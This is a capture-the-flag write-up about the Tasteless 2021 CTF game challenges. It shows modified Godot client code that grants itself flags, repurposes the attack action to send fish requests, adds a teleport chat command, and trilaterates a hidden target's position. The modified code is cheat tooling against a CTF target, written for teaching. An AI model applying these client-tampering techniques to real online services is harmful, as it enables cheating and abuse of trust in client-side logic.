<p><img src="/assets/images/ctf/tasteless-21/fly_hacks.png" alt="yeeet" />
Me, looking down on the peasants who cant fly.</p>

<h2 id="flag-hacks-challenge-boat">Flag Hacks (challenge: Boat)</h2>

<p>We decided it was time to get some flags, so we first wanted the flag from the fisherman. Looking at the code, we saw how the fisherman gave you the boat to get to the island with the flag:</p>

<h3 id="boatgd10">boat.gd:10</h3>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">func</span> <span class="nx">interact</span><span class="p">():</span>
	<span class="k">if</span> <span class="dl">"</span><span class="s2">FLAG_BOAT</span><span class="dl">"</span> <span class="k">in</span> <span class="nx">Client</span><span class="p">.</span><span class="nx">player</span><span class="p">.</span><span class="nx">marker</span><span class="p">:</span>
		<span class="nx">Ui</span><span class="p">.</span><span class="nx">ask</span><span class="p">(</span><span class="dl">"</span><span class="s2">That is some real leet fishing skillz you got. You have a boat now to enter the water.</span><span class="dl">"</span><span class="p">)</span>
	<span class="k">else</span> <span class="p">:</span>
		<span class="nx">Ui</span><span class="p">.</span><span class="nx">ask</span><span class="p">(</span><span class="dl">"</span><span class="s2">I've been a fisher myself, young lad...</span><span class="se">\n\n</span><span class="s2">But to get a boat, you need to prove yourself.</span><span class="se">\n\n</span><span class="s2">There is fish in the west, but you gotta fish in the Lake'o'despair to prove yourself being worth it.</span><span class="dl">"</span><span class="p">)</span>
		<span class="nx">Client</span><span class="p">.</span><span class="nx">interact</span><span class="p">(</span><span class="mi">111</span><span class="p">)</span>
</code></pre></div></div>

<p>The fisher checked for the <code class="language-plaintext highlighter-rouge">FLAG_BOAT</code>, which you could only get if you caught a fish in some fishing area:</p>

<h3 id="fishing_rodgd29">fishing_rod.gd:29</h3>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">func</span> <span class="nx">fish</span><span class="p">():</span>
	<span class="nx">Client</span><span class="p">.</span><span class="nx">player_controller</span><span class="p">.</span><span class="nx">paused</span> <span class="o">=</span> <span class="kc">false</span>
	<span class="k">for</span> <span class="nx">area</span> <span class="k">in</span> <span class="nx">$FishArea</span><span class="p">.</span><span class="nx">get_overlapping_areas</span><span class="p">():</span>
		<span class="k">if</span> <span class="nx">area</span><span class="p">.</span><span class="nx">has_method</span><span class="p">(</span><span class="dl">"</span><span class="s2">lake'o'despair</span><span class="dl">"</span><span class="p">)</span> <span class="nx">or</span> <span class="kc">true</span><span class="p">:</span>
			<span class="nx">Ui</span><span class="p">.</span><span class="nx">show_note</span><span class="p">(</span><span class="dl">"</span><span class="s2">Now I am a true fisher</span><span class="dl">"</span><span class="p">)</span>
			<span class="nx">Client</span><span class="p">.</span><span class="nx">start_fish</span><span class="p">(</span><span class="nx">area</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="dl">"</span><span class="s2">lake'o'despair</span><span class="dl">"</span><span class="p">))</span>
		<span class="k">else</span> <span class="p">:</span>
			<span class="nx">Ui</span><span class="p">.</span><span class="nx">show_note</span><span class="p">(</span><span class="dl">"</span><span class="s2">Only small fish here...</span><span class="dl">"</span><span class="p">)</span>
		<span class="k">return</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">start_fish</code> was supposed to give you the <code class="language-plaintext highlighter-rouge">FLAG_BOAT</code>, but it was impossible to run it, since it errors-out each time you run it. We did not have the patience to <em>reallY</em> figure out why, but we knew it had something to do with fishing in all the fishing areas.</p>

<p>Instead, we wanted to directly modify our players flags, which was checked in <code class="language-plaintext highlighter-rouge">player.marker</code>. In <code class="language-plaintext highlighter-rouge">player.gd</code>, you can actually see where the initial markers are, which we observed over wireshark connections as well:</p>

<h3 id="playergd1">player.gd:1</h3>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">extends</span> <span class="dl">"</span><span class="s2">res://game/unit/unit.gd</span><span class="dl">"</span>

<span class="kd">const</span> <span class="nx">Game</span> <span class="o">=</span> <span class="nx">preload</span><span class="p">(</span><span class="dl">"</span><span class="s2">res://game/game.gd</span><span class="dl">"</span><span class="p">)</span>
<span class="kd">const</span> <span class="nx">Unit</span> <span class="o">=</span> <span class="nx">preload</span><span class="p">(</span><span class="dl">"</span><span class="s2">res://game/unit/unit.gd</span><span class="dl">"</span><span class="p">)</span>

<span class="nx">signal</span> <span class="nx">water_entered</span>
<span class="nx">signal</span> <span class="nx">water_exited</span>

<span class="nx">onready</span>  <span class="kd">var</span> <span class="nx">boatMesh</span><span class="p">:</span><span class="nx">MeshInstance</span> <span class="o">=</span> <span class="nx">$Boat</span>

<span class="kd">var</span> <span class="nx">boat</span> <span class="o">=</span> <span class="kc">false</span>
<span class="kd">var</span> <span class="nx">drowning</span> <span class="o">=</span> <span class="kc">false</span>
<span class="kd">var</span> <span class="nx">marker</span> <span class="o">=</span> <span class="p">{</span>
	<span class="dl">"</span><span class="s2">FLAG_EYES</span><span class="dl">"</span><span class="p">:</span><span class="kc">true</span><span class="p">,</span> 
	<span class="dl">"</span><span class="s2">FLAG_BOAT</span><span class="dl">"</span><span class="p">:</span><span class="kc">true</span><span class="p">,</span>
<span class="p">}</span>
</code></pre></div></div>

<p>On the last line there, we added the <code class="language-plaintext highlighter-rouge">FLAG_BOAT</code> as seen, which was the flag the fisher checks for.</p>

<p>Now there was only one more thing, and thats’ the fact that the chest is not created unless you <strong>actually</strong> fished once:</p>

<h3 id="server2gd157">server2.gd:157</h3>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">func</span> <span class="nx">_handleFish</span><span class="p">(</span><span class="nx">pid</span><span class="p">):</span>
	<span class="k">if</span> <span class="nx">not</span> <span class="nx">has_node</span><span class="p">(</span><span class="dl">"</span><span class="s2">player_</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">str</span><span class="p">(</span><span class="nx">pid</span><span class="p">)):</span>
		<span class="nx">prints</span><span class="p">(</span><span class="dl">"</span><span class="s2">error, unknown player fish</span><span class="dl">"</span><span class="p">,</span> <span class="nx">pid</span><span class="p">)</span>
		<span class="k">return</span> 
	<span class="kd">var</span> <span class="nx">node</span> <span class="o">=</span> <span class="nx">get_node</span><span class="p">(</span><span class="dl">"</span><span class="s2">player_</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">str</span><span class="p">(</span><span class="nx">pid</span><span class="p">))</span>
	<span class="nx">spawn_chest</span><span class="p">(</span><span class="nx">node</span><span class="p">,</span> <span class="dl">"</span><span class="s2">FLAG_BOAT</span><span class="dl">"</span><span class="p">,</span> <span class="nx">flags</span><span class="p">[</span><span class="dl">"</span><span class="s2">FLAG_BOAT</span><span class="dl">"</span><span class="p">].</span><span class="nx">global_transform</span><span class="p">.</span><span class="nx">origin</span><span class="p">)</span>
</code></pre></div></div>

<p>This code is hit once you do <code class="language-plaintext highlighter-rouge">start_fish</code> on the client from the fishing rod item. This helped us understand the framework, since the server gets this from fish request:</p>

<h3 id="client2gd511">client2.gd:511</h3>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">func</span> <span class="nx">start_fish</span><span class="p">(</span><span class="nx">target</span><span class="p">):</span>
	<span class="nx">socket</span><span class="p">.</span><span class="nx">put_u8</span><span class="p">(</span><span class="nx">MsgClientFish</span><span class="p">)</span>
</code></pre></div></div>

<p>Remember, we control the client. We modify what happens when you attack to allow us start a fishing event, because we are wack:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">func</span> <span class="nx">start_attack</span><span class="p">(</span><span class="nx">target</span><span class="p">):</span>
	<span class="nx">socket</span><span class="p">.</span><span class="nx">put_u8</span><span class="p">(</span><span class="nx">MsgClientFish</span><span class="p">)</span>
</code></pre></div></div>

<p>So now you just punch once, it activates a fish event and spawns the chest, then you use your hacks to walk over the water and grab the flag from the chest.</p>

<p><img src="/assets/images/ctf/tasteless-21/flag_hacks.png" alt="flagggg" />
Me, getting that flag.</p>

<p>At this point we conclude we have the ability to send arbitrary event requests. We can request to fish by attacking. We can request to do literally anything by overriding attacking as our trigger.</p>

<h2 id="challenge-skull-island">Challenge: Skull Island</h2>

<p>Using our knowledge of <em>stuff</em>, we realized the flag for the Skull Island is in the <em>eye</em> (go figure). We used our fly hacks to propel/god ascend to the eye and grab the flag. We also had to make sure we kept the <code class="language-plaintext highlighter-rouge">FLAG_EYES</code> in our player <code class="language-plaintext highlighter-rouge">markers</code>.</p>

<p><img src="/assets/images/ctf/tasteless-21/skull_island.png" alt="" /></p>

<h2 id="tp-hacks-challenge-conch">TP Hacks (challenge: Conch)</h2>

<p>Using our event request knowledge from earlier, we decided it was time to stop flying around the map and instead time to start teleporting around the map. To make this possible, we used the same client request overrides found in the boat challenge. Instead of overriding attacking, this time we decided to override how using the chat worked. Each time a message was sent from the user, <code class="language-plaintext highlighter-rouge">chat(whisper, msg)</code> was called. We introduced a handler:</p>

<h3 id="client2gd-574">client2.gd: 574</h3>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">func</span> <span class="nx">chat</span><span class="p">(</span><span class="nx">whisper</span><span class="p">,</span> <span class="nx">msg</span><span class="p">):</span>
    <span class="nx">_msg_handler</span><span class="p">(</span><span class="nx">msg</span><span class="p">)</span>
</code></pre></div></div>

<p>The handler, and its dependencies was added as well to client:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">func</span> <span class="nx">_teleport_to_coor</span><span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">,</span> <span class="nx">z</span><span class="p">):</span>
	<span class="nx">player</span><span class="p">.</span><span class="nx">global_transform</span><span class="p">.</span><span class="nx">origin</span><span class="p">.</span><span class="nx">x</span> <span class="o">=</span> <span class="nx">x</span>
	<span class="nx">player</span><span class="p">.</span><span class="nx">global_transform</span><span class="p">.</span><span class="nx">origin</span><span class="p">.</span><span class="nx">y</span> <span class="o">=</span> <span class="nx">y</span>
	<span class="nx">player</span><span class="p">.</span><span class="nx">global_transform</span><span class="p">.</span><span class="nx">origin</span><span class="p">.</span><span class="nx">z</span> <span class="o">=</span> <span class="nx">z</span>

<span class="nx">func</span> <span class="nx">_msg_handler</span><span class="p">(</span><span class="nx">msg</span><span class="p">):</span>
	<span class="k">if</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">begins_with</span><span class="p">(</span><span class="dl">"</span><span class="s2">/tp</span><span class="dl">"</span><span class="p">):</span>
		<span class="kd">var</span> <span class="nx">m_arr</span> <span class="o">=</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="s2"> </span><span class="dl">"</span><span class="p">)</span>
		<span class="kd">var</span> <span class="nx">x</span> <span class="o">=</span> <span class="nx">float</span><span class="p">(</span><span class="nx">m_arr</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
		<span class="kd">var</span> <span class="nx">y</span> <span class="o">=</span> <span class="nx">float</span><span class="p">(</span><span class="nx">m_arr</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span>
		<span class="kd">var</span> <span class="nx">z</span> <span class="o">=</span> <span class="nx">float</span><span class="p">(</span><span class="nx">m_arr</span><span class="p">[</span><span class="mi">3</span><span class="p">])</span>
		<span class="kd">var</span> <span class="nx">out_msg</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">TP(X,Y,Z): </span><span class="dl">"</span><span class="o">+</span><span class="nx">msg</span>
		<span class="nx">_teleport_to_coor</span><span class="p">(</span><span class="nx">x</span><span class="p">,</span><span class="nx">y</span><span class="p">,</span><span class="nx">z</span><span class="p">)</span>
		<span class="nx">print</span><span class="p">(</span><span class="nx">out_msg</span><span class="p">)</span>
</code></pre></div></div>

<p>Now we could just use the chat to teleport:</p>

<p><img src="/assets/images/ctf/tasteless-21/tp_hacks.png" alt="" /></p>

<p>Now this is only useful if you actually know where you want to teleport, and lucky for us, there is a challenge which needs this functionality.</p>

<p>In the level <code class="language-plaintext highlighter-rouge">Conch</code> you are tasked with finding a hiding rabbit, which is requested of you in the <code class="language-plaintext highlighter-rouge">quest_fish.gd</code>. Once you get the conch, a special event occurs that places the rabbit you are looking for at a random coordinate on the map:</p>

<h3 id="conchgd10">conch.gd:10</h3>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">func</span> <span class="nx">_init</span><span class="p">():</span>
	<span class="nx">rabbit</span> <span class="o">=</span> <span class="nx">Vector3</span><span class="p">(</span><span class="nx">rand_range</span><span class="p">(</span> <span class="o">-</span> <span class="mi">100</span><span class="p">,</span> <span class="mi">100</span><span class="p">),</span> <span class="nx">rand_range</span><span class="p">(</span> <span class="o">-</span> <span class="mi">100</span><span class="p">,</span> <span class="mi">100</span><span class="p">),</span> <span class="nx">rand_range</span><span class="p">(</span> <span class="o">-</span> <span class="mi">100</span><span class="p">,</span> <span class="mi">100</span><span class="p">))</span>
	

<span class="kd">const</span> <span class="nx">rabbit_distance</span> <span class="o">=</span> <span class="mf">0.1</span>

<span class="nx">func</span> <span class="nx">use</span><span class="p">(</span><span class="nx">collider</span><span class="p">,</span> <span class="k">from</span><span class="p">):</span>
	<span class="k">if</span> <span class="nx">OS</span><span class="p">.</span><span class="nx">get_ticks_msec</span><span class="p">()</span> <span class="o">-</span> <span class="nx">lastAttackTime</span> <span class="o">&lt;</span> <span class="nx">attackRate</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">:</span>
		<span class="k">return</span> <span class="kc">false</span>
	<span class="nx">lastAttackTime</span> <span class="o">=</span> <span class="nx">OS</span><span class="p">.</span><span class="nx">get_ticks_msec</span><span class="p">()</span>

	<span class="nx">Server</span><span class="p">.</span><span class="nx">conch</span><span class="p">(</span><span class="k">from</span><span class="p">,</span> <span class="k">from</span><span class="p">.</span><span class="nx">global_transform</span><span class="p">.</span><span class="nx">origin</span><span class="p">.</span><span class="nx">distance_to</span><span class="p">(</span><span class="nx">rabbit</span><span class="p">))</span>
	<span class="k">if</span> <span class="k">from</span><span class="p">.</span><span class="nx">global_transform</span><span class="p">.</span><span class="nx">origin</span><span class="p">.</span><span class="nx">distance_to</span><span class="p">(</span><span class="nx">rabbit</span><span class="p">)</span> <span class="o">&lt;</span> <span class="nx">rabbit_distance</span><span class="p">:</span>
		<span class="nx">Server</span><span class="p">.</span><span class="nx">spawn_chest</span><span class="p">(</span><span class="k">from</span><span class="p">,</span> <span class="dl">"</span><span class="s2">FLAG_CONCH</span><span class="dl">"</span><span class="p">,</span> <span class="nx">rabbit</span><span class="p">)</span>

	<span class="k">return</span> <span class="kc">true</span>
</code></pre></div></div>

<p>That init function is run every time you get the conch. The conch can also be used to get you the <em>Euclidean Distance</em> to the rabbit. It’s passed to the <code class="language-plaintext highlighter-rouge">conch</code> function in the same file, but will just print <code class="language-plaintext highlighter-rouge">Close</code> or <code class="language-plaintext highlighter-rouge">Far</code> in a hot an cold way. We modify it to print useful data:</p>

<h3 id="conchgd28">conch.gd:28</h3>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">static</span> <span class="nx">func</span> <span class="nx">conch</span><span class="p">(</span><span class="nx">distance</span><span class="p">,</span> <span class="nx">player</span><span class="p">):</span>
	<span class="kd">var</span> <span class="nx">x</span> <span class="o">=</span> <span class="nx">player</span><span class="p">.</span><span class="nx">global_transform</span><span class="p">.</span><span class="nx">origin</span><span class="p">.</span><span class="nx">x</span>
	<span class="kd">var</span> <span class="nx">y</span> <span class="o">=</span> <span class="nx">player</span><span class="p">.</span><span class="nx">global_transform</span><span class="p">.</span><span class="nx">origin</span><span class="p">.</span><span class="nx">y</span> 
	<span class="kd">var</span> <span class="nx">z</span> <span class="o">=</span> <span class="nx">player</span><span class="p">.</span><span class="nx">global_transform</span><span class="p">.</span><span class="nx">origin</span><span class="p">.</span><span class="nx">z</span>
	
	<span class="kd">var</span> <span class="nx">notif</span> <span class="o">=</span> <span class="nb">String</span><span class="p">(</span><span class="nx">distance</span><span class="p">)</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">: (</span><span class="dl">"</span> <span class="o">+</span> <span class="nb">String</span><span class="p">(</span><span class="nx">x</span><span class="p">)</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">,</span><span class="dl">"</span> <span class="o">+</span> <span class="nb">String</span><span class="p">(</span><span class="nx">y</span><span class="p">)</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">,</span><span class="dl">"</span> <span class="o">+</span> <span class="nb">String</span><span class="p">(</span><span class="nx">z</span><span class="p">)</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">)</span><span class="dl">"</span>
	<span class="nx">Ui</span><span class="p">.</span><span class="nx">show_note</span><span class="p">(</span><span class="nx">notif</span><span class="p">)</span>
</code></pre></div></div>

<p>This will, on each use, get our current 3d coordinates and print the distance from our point to that point in 3d space. With this information, we can actually <a href="https://en.wikipedia.org/wiki/Triangulation">triangulate</a> the 3d position to 1 point estimate just py trial and error.</p>

<p><img src="/assets/images/ctf/tasteless-21/locate_hacks.png" alt="" />
Lucas, locating the rabbit</p>

<p>Getting within a single digit of the rabbit is actually not good enough. The check sees if you are within <code class="language-plaintext highlighter-rouge">0.1</code> distance of the rabbit, which means the only real way you can get that close is by teleporting to its exact location. Using a common method of finding the <a href="https://math.stackexchange.com/questions/562240/how-to-find-the-intersection-of-three-spheres-full-solutions">intersections of spheres in a 3d space</a>, we can get a decent point guess from just sampling three points in the 3d space. We used this <a href="https://stackoverflow.com/questions/1406375/finding-intersection-points-between-3-spheres">stackoverflow code</a> to find the intersection of three spheres:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">numpy</span>                                             
<span class="kn">from</span> <span class="nn">numpy</span> <span class="kn">import</span> <span class="n">sqrt</span><span class="p">,</span> <span class="n">dot</span><span class="p">,</span> <span class="n">cross</span>                       
<span class="kn">from</span> <span class="nn">numpy.linalg</span> <span class="kn">import</span> <span class="n">norm</span>                            

<span class="k">def</span> <span class="nf">trilaterate</span><span class="p">(</span><span class="n">P1</span><span class="p">,</span><span class="n">P2</span><span class="p">,</span><span class="n">P3</span><span class="p">,</span><span class="n">r1</span><span class="p">,</span><span class="n">r2</span><span class="p">,</span><span class="n">r3</span><span class="p">):</span>                      
    <span class="n">temp1</span> <span class="o">=</span> <span class="n">P2</span><span class="o">-</span><span class="n">P1</span>                                        
    <span class="n">e_x</span> <span class="o">=</span> <span class="n">temp1</span><span class="o">/</span><span class="n">norm</span><span class="p">(</span><span class="n">temp1</span><span class="p">)</span>                              
    <span class="n">temp2</span> <span class="o">=</span> <span class="n">P3</span><span class="o">-</span><span class="n">P1</span>                                        
    <span class="n">i</span> <span class="o">=</span> <span class="n">dot</span><span class="p">(</span><span class="n">e_x</span><span class="p">,</span><span class="n">temp2</span><span class="p">)</span>                                   
    <span class="n">temp3</span> <span class="o">=</span> <span class="n">temp2</span> <span class="o">-</span> <span class="n">i</span><span class="o">*</span><span class="n">e_x</span>                                
    <span class="n">e_y</span> <span class="o">=</span> <span class="n">temp3</span><span class="o">/</span><span class="n">norm</span><span class="p">(</span><span class="n">temp3</span><span class="p">)</span>                              
    <span class="n">e_z</span> <span class="o">=</span> <span class="n">cross</span><span class="p">(</span><span class="n">e_x</span><span class="p">,</span><span class="n">e_y</span><span class="p">)</span>                                 
    <span class="n">d</span> <span class="o">=</span> <span class="n">norm</span><span class="p">(</span><span class="n">P2</span><span class="o">-</span><span class="n">P1</span><span class="p">)</span>                                      
    <span class="n">j</span> <span class="o">=</span> <span class="n">dot</span><span class="p">(</span><span class="n">e_y</span><span class="p">,</span><span class="n">temp2</span><span class="p">)</span>                                   
    <span class="n">x</span> <span class="o">=</span> <span class="p">(</span><span class="n">r1</span><span class="o">*</span><span class="n">r1</span> <span class="o">-</span> <span class="n">r2</span><span class="o">*</span><span class="n">r2</span> <span class="o">+</span> <span class="n">d</span><span class="o">*</span><span class="n">d</span><span class="p">)</span> <span class="o">/</span> <span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">d</span><span class="p">)</span>                    
    <span class="n">y</span> <span class="o">=</span> <span class="p">(</span><span class="n">r1</span><span class="o">*</span><span class="n">r1</span> <span class="o">-</span> <span class="n">r3</span><span class="o">*</span><span class="n">r3</span> <span class="o">-</span><span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="o">*</span><span class="n">x</span> <span class="o">+</span> <span class="n">i</span><span class="o">*</span><span class="n">i</span> <span class="o">+</span> <span class="n">j</span><span class="o">*</span><span class="n">j</span><span class="p">)</span> <span class="o">/</span> <span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">j</span><span class="p">)</span>       
    <span class="n">temp4</span> <span class="o">=</span> <span class="n">r1</span><span class="o">*</span><span class="n">r1</span> <span class="o">-</span> <span class="n">x</span><span class="o">*</span><span class="n">x</span> <span class="o">-</span> <span class="n">y</span><span class="o">*</span><span class="n">y</span>                            
    <span class="k">if</span> <span class="n">temp4</span><span class="o">&lt;</span><span class="mi">0</span><span class="p">:</span>                                          
        <span class="k">raise</span> <span class="nb">Exception</span><span class="p">(</span><span class="s">"The three spheres do not intersect!"</span><span class="p">);</span>
    <span class="n">z</span> <span class="o">=</span> <span class="n">sqrt</span><span class="p">(</span><span class="n">temp4</span><span class="p">)</span>                                      
    <span class="n">p_12_a</span> <span class="o">=</span> <span class="n">P1</span> <span class="o">+</span> <span class="n">x</span><span class="o">*</span><span class="n">e_x</span> <span class="o">+</span> <span class="n">y</span><span class="o">*</span><span class="n">e_y</span> <span class="o">+</span> <span class="n">z</span><span class="o">*</span><span class="n">e_z</span>                  
    <span class="n">p_12_b</span> <span class="o">=</span> <span class="n">P1</span> <span class="o">+</span> <span class="n">x</span><span class="o">*</span><span class="n">e_x</span> <span class="o">+</span> <span class="n">y</span><span class="o">*</span><span class="n">e_y</span> <span class="o">-</span> <span class="n">z</span><span class="o">*</span><span class="n">e_z</span>                  
    <span class="k">return</span> <span class="n">p_12_a</span><span class="p">,</span><span class="n">p_12_b</span>                       
</code></pre></div></div>

<p>We simply made a estimated triangle around the closest points, got their distances (which is the radi), and used the points in this equation. This returned to us a point. Using the earlier mentioned <code class="language-plaintext highlighter-rouge">/tp</code> command we introduced, we teleported to the exact point of the rabbit and got the flag.</p>

<h2 id="rng-hacks-challenge-thrybrush">RNG Hacks (challenge: Thrybrush)</h2>

<p>The last flag we had time to get in this CTF was the <code class="language-plaintext highlighter-rouge">Thrybrush</code> challenge. Right from the get-go we found the npc that was responsible for this challenge on Melee Island. His code can be found in the <code class="language-plaintext highlighter-rouge">guybrush.gd</code> file. He implements a chat method that allows you to talk to him:</p>

<h3 id="guybrushgd10">guybrush.gd:10</h3>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">func</span> <span class="nx">chat</span><span class="p">(</span><span class="k">from</span><span class="p">,</span> <span class="nx">msg</span><span class="p">):</span>
	<span class="k">if</span> <span class="nx">not</span> <span class="p">(</span><span class="k">from</span><span class="p">.</span><span class="nx">remote_id</span> <span class="k">in</span> <span class="nx">players</span><span class="p">):</span>
		<span class="k">return</span> 
	
	<span class="kd">var</span> <span class="nx">bw</span> <span class="o">=</span> <span class="nx">players</span><span class="p">[</span><span class="k">from</span><span class="p">.</span><span class="nx">remote_id</span><span class="p">]</span>
	<span class="kd">var</span> <span class="nx">next_try</span> <span class="o">=</span> <span class="nx">bw</span><span class="p">.</span><span class="nx">dig</span><span class="p">()</span>
	<span class="kd">var</span> <span class="nx">insult</span> <span class="o">=</span> <span class="nx">insults</span><span class="p">.</span><span class="nx">keys</span><span class="p">()[</span><span class="nx">next_try</span><span class="p">]</span>
	<span class="k">if</span> <span class="nx">msg</span> <span class="o">==</span> <span class="nx">insults</span><span class="p">[</span><span class="nx">insult</span><span class="p">]:</span>
		<span class="nx">bw</span><span class="p">.</span><span class="nx">distance</span> <span class="o">-=</span> <span class="mi">1</span>
	<span class="k">else</span> <span class="p">:</span>
		<span class="nx">bw</span><span class="p">.</span><span class="nx">distance</span> <span class="o">+=</span> <span class="mi">1</span>

	<span class="k">if</span> <span class="nx">bw</span><span class="p">.</span><span class="nx">distance</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">:</span>
		<span class="nx">Server</span><span class="p">.</span><span class="nx">spawn_chest</span><span class="p">(</span><span class="k">from</span><span class="p">,</span> <span class="dl">"</span><span class="s2">FLAG_BIGWHOOP</span><span class="dl">"</span><span class="p">,</span> <span class="nx">Server</span><span class="p">.</span><span class="nx">flags</span><span class="p">[</span><span class="dl">"</span><span class="s2">FLAG_BIGWHOOP</span><span class="dl">"</span><span class="p">].</span><span class="nx">global_transform</span><span class="p">.</span><span class="nx">origin</span><span class="p">)</span>
		<span class="nx">Server</span><span class="p">.</span><span class="nx">chat</span><span class="p">(</span><span class="nx">remote_id</span><span class="p">,</span> <span class="k">from</span><span class="p">.</span><span class="nx">remote_id</span><span class="p">,</span> <span class="dl">"</span><span class="s2">you are faster than your shadow it seems!</span><span class="dl">"</span><span class="p">)</span>
	<span class="k">else</span> <span class="p">:</span>
		<span class="nx">Server</span><span class="p">.</span><span class="nx">chat</span><span class="p">(</span><span class="nx">remote_id</span><span class="p">,</span> <span class="k">from</span><span class="p">.</span><span class="nx">remote_id</span><span class="p">,</span> <span class="nx">insult</span><span class="p">)</span>

<span class="nx">func</span> <span class="nx">interact</span><span class="p">():</span>
	<span class="nx">Ui</span><span class="p">.</span><span class="nx">ask</span><span class="p">(</span><span class="dl">"</span><span class="s2">he speaks an ancient language...</span><span class="dl">"</span><span class="p">)</span>
</code></pre></div></div>

<p>Currently, its impossible to talk to him, so we need to implement the <code class="language-plaintext highlighter-rouge">whisper</code> variable in the cold <code class="language-plaintext highlighter-rouge">chat</code> method found in client:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">func</span> <span class="nx">chat</span><span class="p">(</span><span class="nx">whisper</span><span class="p">,</span> <span class="nx">msg</span><span class="p">):</span>
	<span class="kd">var</span> <span class="nx">should_whisper</span> <span class="o">=</span> <span class="nx">_msg_handler</span><span class="p">(</span><span class="nx">msg</span><span class="p">)</span>
	<span class="k">if</span> <span class="nx">should_whisper</span><span class="p">:</span>
		<span class="nx">whisper</span> <span class="o">=</span> <span class="mi">31337</span>
		<span class="kd">var</span> <span class="nx">m_arr</span> <span class="o">=</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="s2"> </span><span class="dl">"</span><span class="p">)</span>
		<span class="kd">var</span> <span class="nx">key</span> <span class="o">=</span> <span class="nx">int</span><span class="p">(</span><span class="nx">m_arr</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
		<span class="kd">var</span> <span class="nx">insult</span> <span class="o">=</span> <span class="nx">insults</span><span class="p">.</span><span class="nx">keys</span><span class="p">()[</span><span class="nx">key</span><span class="p">]</span>
		<span class="nx">msg</span> <span class="o">=</span> <span class="nx">insults</span><span class="p">[</span><span class="nx">insult</span><span class="p">]</span>
	<span class="nx">socket</span><span class="p">.</span><span class="nx">put_u8</span><span class="p">(</span><span class="nx">MsgClientChat</span><span class="p">)</span>
	<span class="nx">socket</span><span class="p">.</span><span class="nx">put_u64</span><span class="p">(</span><span class="nx">whisper</span><span class="p">)</span>
	<span class="nx">socket</span><span class="p">.</span><span class="nx">put_u8</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">length</span><span class="p">())</span>
	<span class="nx">socket</span><span class="p">.</span><span class="nx">put_data</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">to_utf8</span><span class="p">())</span>
</code></pre></div></div>

<p>Ignoring the use of the <code class="language-plaintext highlighter-rouge">insults</code> dict, which we will explain soon, we can now send him messages and receive insults back from him. Now onto how to get the flag. Looking at the earlier snippet starting from line 10 in <code class="language-plaintext highlighter-rouge">guybrush.gd</code>, we can see that the way you get the flag has to do with you predicting his next message:</p>

<h3 id="guybrushgd14">guybrush.gd:14</h3>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">bw</span> <span class="o">=</span> <span class="nx">players</span><span class="p">[</span><span class="k">from</span><span class="p">.</span><span class="nx">remote_id</span><span class="p">]</span>
	<span class="kd">var</span> <span class="nx">next_try</span> <span class="o">=</span> <span class="nx">bw</span><span class="p">.</span><span class="nx">dig</span><span class="p">()</span>
	<span class="kd">var</span> <span class="nx">insult</span> <span class="o">=</span> <span class="nx">insults</span><span class="p">.</span><span class="nx">keys</span><span class="p">()[</span><span class="nx">next_try</span><span class="p">]</span>
	<span class="k">if</span> <span class="nx">msg</span> <span class="o">==</span> <span class="nx">insults</span><span class="p">[</span><span class="nx">insult</span><span class="p">]:</span>
		<span class="nx">bw</span><span class="p">.</span><span class="nx">distance</span> <span class="o">-=</span> <span class="mi">1</span>
	<span class="k">else</span> <span class="p">:</span>
		<span class="nx">bw</span><span class="p">.</span><span class="nx">distance</span> <span class="o">+=</span> <span class="mi">1</span>
</code></pre></div></div>

<p>The objective is to guess his next message, so that <code class="language-plaintext highlighter-rouge">bw.distance</code> is reduced. You want it to equal 0. Here is the list of messages he can say, and how he generates a random order of insults:</p>

<h3 id="guybrushgd32">guybrush.gd:32</h3>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">ar</span> <span class="nx">insults</span> <span class="o">=</span> <span class="p">{</span>
<span class="dl">"</span><span class="s2">You fight like a dairy Farmer!</span><span class="dl">"</span><span class="p">:</span><span class="dl">"</span><span class="s2">How appropriate. You fight like a cow!</span><span class="dl">"</span><span class="p">,</span> 
